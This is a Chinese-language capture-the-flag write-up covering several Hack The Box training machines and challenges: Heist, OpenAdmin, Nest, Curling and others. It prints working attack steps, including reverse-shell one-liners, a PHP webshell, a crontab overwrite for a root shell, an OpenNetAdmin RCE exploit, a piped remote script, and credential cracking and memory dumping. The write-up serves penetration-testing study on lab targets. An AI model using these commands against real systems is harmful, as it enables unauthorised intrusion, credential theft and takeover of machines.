最近突然对渗透测试很感兴趣,充了个 htb 会员才发现基础不牢地动山摇,趁着会员快过期了先把 Intro to Dante Track 做完了,给报 Dante Pro Lab 打一下基础,之后先去 TryHackMe 学一手再回来开 htb 会员刷 Box。
Emdee five for life
启动靶机访问一下,要求提交给定 String 的 MD5:
直接 md5sum
一下然后提示 Too Slow,应该是要写代码。看了下 Cookie 有 PHPSESSID
,那两次请求需要保存一下 session。随便搞一个脚本就行:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| import requests
from bs4 import BeautifulSoup
from hashlib import md5
URL = "http://ip:port/"
if __name__ == "__main__":
s = requests.session()
rsp = s.get(URL)
soup = BeautifulSoup(rsp.text, 'lxml')
m = md5()
m.update(soup.body.h3.text.encode())
rsp = s.post(URL, data={"hash": m.hexdigest()})
print(rsp.text)
|
成功拿到 flag。
Heist
Enumeration
1
2
| ports=$(nmap -p- --min-rate=1000 -T4 $target | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sCV $target
|
有一个 IIS Server 和 smb,上 HackTricks 搜了一下 5985 端口跑的是是 WinRM。
先看看 80 有什么:
点右下角的 Login as guest 里面有一个有意思的文件:
看了一下,发现三个和密码有关的东西:
1
2
3
| enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
|
$1$$
的形式是 MD5,直接用 john 给爆出来:
1
| john hash --wordlist=/usr/share/wordlists/rockyou.txt -rules=Jumbo
|
后两个根据对话推测是 Cisco 路由器密码,找到 Cracker 直接把两个密码算出来:
1
2
| $uperP@ssword
Q4)sJu\Y8qz*A3?d
|
直接把这三个密码和提问的用户 Hazard 用 crackmapexec
枚举一下。
1
| crackmapexec smb $target -u hazard -p passwords.txt
|
找到用户名和密码之后,用 impacket 的 lookupsid
做一下枚举:
1
| python3 lookupsid.py hazard:stealth1agent@$target
|
把这些个人用户都加进去,重新枚举。
找到了两个可以用的用户名和密码,smbmap
之后都无功而返,尝试枚举 winrm
:
1
| crackmapexec winrm $target -u users.txt -p passwords.txt
|
发现 Chase 账号是有权限的,用 evil-winrm
打进去。
1
| evil-winrm -u chase -p 'Q4)sJu\Y8qz*A3?d' -i $target
|
拿到 user flag。
Privilege Escalation
这里看了 Walkthrough,你打死我我也想不到我要去 dump 内存。
查看一下同文件夹下面的其他文件,有一个 todo.txt
:
1
2
3
4
5
6
| Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.
Done:
1. Restricted access for guest user.
|
这个 issue list 要么是个文件,要么是个服务。找了一圈文件没找到,Get-Process
发现有好几个 firefox 在跑:
1
2
| PS C:\Users\Chase\Documents> Get-Process
PS C:\Users\Chase\Documents> Get-Process firefox
|
尝试 dump 一下内存看看。从 Sysinternals 搞到 procdump64.exe
和 strings64.exe
,在本机用 python3 -m http.server 80
之后在目标机器上 wget
给弄下来。
有了工具之后,直接 dump 内存并分析。
1
2
| PS C:\Users\Chase\AppData\Local\Temp> .\procdump.exe -ma 696 firefox.dmp
PS C:\Users\Chase\AppData\Local\Temp> .\strings.exe firefox.dmp | Select-String -Pattern "[Aa]dmin" | Select-String -Pattern "[Pp]assword"
|
找到一些很有意思的结果,出来试一下:
1
| evil-winrm -u Administrator -p '4dD!5}x/re8]FBuZ' -i $target
|
提权成功,拿到 root flag。
OpenAdmin
Enumeration
1
2
| ports=$(nmap -p- --min-rate=1000 -T4 $target | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sCV $target
|
80 开着,惯例看一下是什么东西。
是一个 default 页面,用 gobuster
爆一下。
1
| gobuster dir --url http://$target/ --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
|
爆出来很多小网站,逐个试一下之后 /music
在这个站下面发现有用户相关系统:
点了下 Login
进到一个 OpenNetAdmin
的 Dashboard 里面,版本号是 18.1.1
。
搜了下 OpenNetAdmin 18.1.1
,发现有 RCE,找到一个 poc:https://github.com/amriunix/ona-rce,拉下来跑一下:
1
2
| git clone https://github.com/amriunix/ona-rce; cd ona-rce
python3 ona-rce.py check http://$target/ona
|
直接拿 Reverse shell。
1
2
3
| sudo nc -lvnp 1234
python3 ona-rce.py exploit http://$target/ona
bash -c 'bash -e &> /dev/tcp/<ip>/1234 <& 1'
|
Lateral Movement
进来之后在 /var/www
里面逛一下:
html
里面基本没啥用,internal
文件夹权限不足,继续在 ona
里面探索。审计了 config/config.inc.php
之后,发现真实的配置在 local/config
里面,进去审计 database_settings.inc.php
:
1
2
3
4
5
6
7
8
| array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
|
用这个密码进 mysql 搜了一圈,没啥有用的,尝试拿这个密码用 jimmy 账号登一下:
现在来看 /var/www/internal
。审计 index.php
发现了一个硬编码:
1
| if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')
|
用 john
直接爆:
1
| john hash --format=Raw-SHA512 --wordlist=/usr/share/wordlists/rockyou.txt --rules=Jumbo
|
审计 apache 配置:
1
| cat /etc/apache2/sites-enabled/*.conf
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<!-- snippets... -->
|
注意,接下来的路径我跟官方 Walkthrough 的做法不同,官方 Walkthrough 是通过爆出来 joanna 的私钥密码来获取的 shell。
internal
路径下面的网站跑在 52846
端口上。进一步审计 /var/www/internal
发现 index.php
登陆之后访问 main.php
会跑一个 shell 命令。看了下 main.php
是可以改的,于是我们直接把 shell 命令换了,拿 Reverse shell。
1
2
| # $output = shell_exec('cat /home/joanna/.ssh/id_rsa');
$output = shell_exec("bash -c 'bash -e &> /dev/tcp/<ip>/1234 <& 1'");
|
然后直接用刚才拿到的用户名和密码请求:
1
2
3
4
5
| # On local
$ sudo nc -lvnp 1234
# On remote
$ curl -X POST http://127.0.0.1:52846/main.php -d "islogin=1&username=jimmy&password=Revealed"
|
成功拿到 user flag。
Privilege Escalation
跑一下 linpeas.sh,看到一个很有意思的结果:
1
| curl -L http://<ip>/linpeas.sh | sh
|
有 suid 提权空间。
尝试拿到一个正规 shell。生成一个新的 ssh 私钥然后把公钥写进 /home/joanna/.ssh/authorized_keys
里面:
1
2
3
4
5
6
7
8
| # On local
$ ssh-keygen -C joanna@openadmin
# On remote
$ echo '<pubkey>' >> /home/joanna/.ssh/authorized_keys
# On local
$ ssh joanna@$target
|
然后根据 GTFOBins 的教程,直接跑提权即可:
1
2
3
| $ sudo nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
|
成功提权并拿到 root flag。
MarketDump
下载下来是一个 .pcapng
的包 dump,开 WireShark 看一眼。从上往下顺着翻一下,看到有很多 telnet 和 tcp,直接 follow tcp stream,发现下面有一堆卡号,这个应该就是攻击者想要的 payload。
把这堆卡号拉出来,看看有没有什么有意思的信息混在里面。
1
| grep -vE 'American Express,[0-9]{15}' payload.txt
|
发现一个显然不是卡号的东西,拉到 CyberChef 上看看。
成功拿到 flag。
Nest
Enumeration
1
2
| ports=$(nmap -p- --min-rate=1000 -T4 -Pn $target | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sCV -Pn $target
|
有一个 smb 服务,另一个看上去是一个 telnet 服务。
smbmap
枚举一波:
1
| smbmap -H $target -u guest -p ''
|
分别枚举一下两个可读的文件夹,在 Data/Shared/Tempaltes/HR/Welcome Email.txt
里面发现一组账号密码:
1
2
| Username: TempUser
Password: welcome2019
|
用这组 credential 重新枚举一遍,在 Data/IT
里面发现了很多文本文件,拉下来挨个看一眼:
1
2
3
| smbmap -H $target -u tempuser -p welcome2019 -R Data -A xml
smbmap -H $target -u tempuser -p welcome2019 -R Data -A txt
grep -ir password *.txt *.xml
|
在 Data/IT/Configs/RU Scanner/RU_config.xml
里找到一个密码:
1
| <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
|
拉到 CyberChef 上,发现是 base64 编码,但是解码之后没什么意义,应该是二进制数据。继续研究这一堆 xml,在 Data/IT/Configs/NotePadPlusPlus/config.xml
里面发现了一个有意思的文件:
1
| <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
|
枚举一下这个文件夹:
1
| smbmap -H $target -u tempuser -p welcome2019 -R 'Secure$\IT\Carl'
|
发现这个项目跟上面的配置文件有关。挂载起来看一眼:
1
2
| sudo mount -t cifs -o ro,username=tempuser,password=welcome2019 "//$target/Secure\$/IT/Carl" /mnt/carl
cd /mnt/carl
|
审计了一下 Utils.vb
,里面的核心函数如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
| ' code snippets...
Public Shared Function DecryptString(EncryptedString As String) As String
If String.IsNullOrEmpty(EncryptedString) Then
Return String.Empty
Else
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
' code snippets...
Public Shared Function Decrypt(ByVal cipherText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
Dim initVectorBytes As Byte()
initVectorBytes = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte()
saltValueBytes = Encoding.ASCII.GetBytes(saltValue)
Dim cipherTextBytes As Byte()
cipherTextBytes = Convert.FromBase64String(cipherText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte()
keyBytes = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim decryptor As ICryptoTransform
decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)
Dim memoryStream As IO.MemoryStream
memoryStream = New IO.MemoryStream(cipherTextBytes)
Dim cryptoStream As CryptoStream
cryptoStream = New CryptoStream(memoryStream, _
decryptor, _
CryptoStreamMode.Read)
Dim plainTextBytes As Byte()
ReDim plainTextBytes(cipherTextBytes.Length)
Dim decryptedByteCount As Integer
decryptedByteCount = cryptoStream.Read(plainTextBytes, _
0, _
plainTextBytes.Length)
memoryStream.Close()
cryptoStream.Close()
Dim plainText As String
plainText = Encoding.ASCII.GetString(plainTextBytes, _
0, _
decryptedByteCount)
Return plainText
End Function
|
根据 .NET doc 的结果,这个函数的流程其实很简单:
- 用 HMAC-SHA1 经过
passwordIterations
轮 PBKDF2 从 passPhrase
计算出长度为 keySize/8
的 key - 用上一步求出来的
key
和传入的 initVectors
经过 AES-CBC 模式解密 base64 解码后的 cipherText
q
那很容易就能用写个脚本解密:
1
2
3
4
5
6
7
8
9
10
11
12
| from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES
from base64 import b64decode
def decrypt(cipherText, passphrase, salt, iter, iv):
dk = pbkdf2_hmac('sha1', passphrase.encode(), salt.encode(), iter, 32)
aes = AES.new(dk, AES.MODE_CBC, iv)
return aes.decrypt(b64decode(cipherText)).decode()
if __name__ = "__main__":
print(decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22", "88552299", 2, "464R5DFA5DL6LE28"))
|
得到密码为 xRxRxPANCAK3SxRxRx
。
查看 Data/IT/Configs/RU Scanner/RU_config.xml
,对应的用户名是 c.smith,用这组 credential 重新枚举一下:
1
| smbmap -H $target -u c.smith -p xRxRxPANCAK3SxRxRx -R Users
|
挂载上去,拿到 user flag。
Privilege Escalation
看看剩下的东西,发现有个 Debug Mode Password.txt
,但是是空的,比较奇怪。用 smbclient
看一下:
发现有 NTFS Alternative Data Stream。用对应语法把文件拉下来:
1
| smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password"
|
得到密码为 WBQ201953D8w
。根据 nmap 的结果,我们现在尝试用 telnet 访问这个 HQK Reporting 服务。
在里面探索了一会儿,最终在 ../LDAP
里面发现了一个 Ldap.conf
,其中有 Administrator 的密码:
1
| Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
|
之前的 smb 枚举结果里面还有一个 HqkLdap.exe
,拉下来拖进 IDA Pro 或者 Detect It Easy 之类的工具里面,发现是 .NET 的 binary,拿 dnSpy 反编译然后审计一下。
发现整个流程跟上面是一样的,就是换了个参数,直接拿来用,得到密码为 XtH4nkS4Pl4y1nGX
。
用 impacket 的 psexec.py
直接打进去:
1
| python3 psexec.py administrator:XtH4nkS4Pl4y1nGX@$target
|
拿到 root flag。
Curling
Enumeration
1
2
| ports=$(nmap -p- --min-rate=1000 -T4 $target | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sCV $target
|
惯例看看 80 上是什么。
发现是 Joomla CMS,根据 HackTarget 的顺序先找到 Joomla 的版本是 3.8.8,找直接的 exploit 无功而返。
审计一下源代码,最下面有个挺有意思的注释:
尝试用 LFI 搞到这个文件:
1
2
| $ curl http://$target/secrets.txt
# Q3VybGluZzIwMTgh
|
惯例拖进 CyberChef,base58 解一下得到 Curling2018!
。根据网站上的作者 floris
,用这组 credential 成功登进后台。
稍微调查了一下,发现 joomla 的模板可以随便改:
直接搞了个简单的 webshell 上去:
1
2
3
| <?php
system("bash -c 'bash -e &> /dev/tcp/<ip>/1234 <& 1'");
?>
|
之后直接访问就能接到 shell。
1
| curl http://10.10.10.150/templates/protostar/pwned.php
|
Lateral Movement
ls -al /home
看了一下,可以读 floris 的 home,直接进去看看,里面有个 password_backup:
拉到本地 xxd -r
一下,file
一下发现是 bzip2 的压缩包,解开之后继续 file
一下发现是 gzip 压缩包,重复几轮到最后拿到密码 5d<wdCbdZu)|hChXll
。用这个密码进 ssh,拿到用户 flag。
Privilege Escalation
ls -al
一下 home,发现一个很有意思的文件夹,owner 是 root
,但是 floris
group 是有权限的。这意味着应该有个 root 权限跑的东西会读写这个文件。lsof
一下,什么结果都没有,试试用 pspy 枚举一下定时任务:
发现这个 input
是 curl 的配置文件。因为用 root 运行的,对系统有完全的读写权限,我们直接给他弄个 crontab 执行我们的命令就可以了:
1
2
| cp /etc/crontab ./ && echo '* * * * * root bash -c "bash -e &> /dev/tcp/<ip>/1234 <& 1"' >> crontab && sudo python3 -m http.server 80
sudo nc -lvnp 1234
|
把 input
改成:
1
2
| url = "http://<ip>/crontab"
output = "/etc/crontab"
|
稍等片刻,就能拿到 shell 和 root flag。
Epilogue
Write-up 一定要边做边写边截图,做完了补题解累死我了。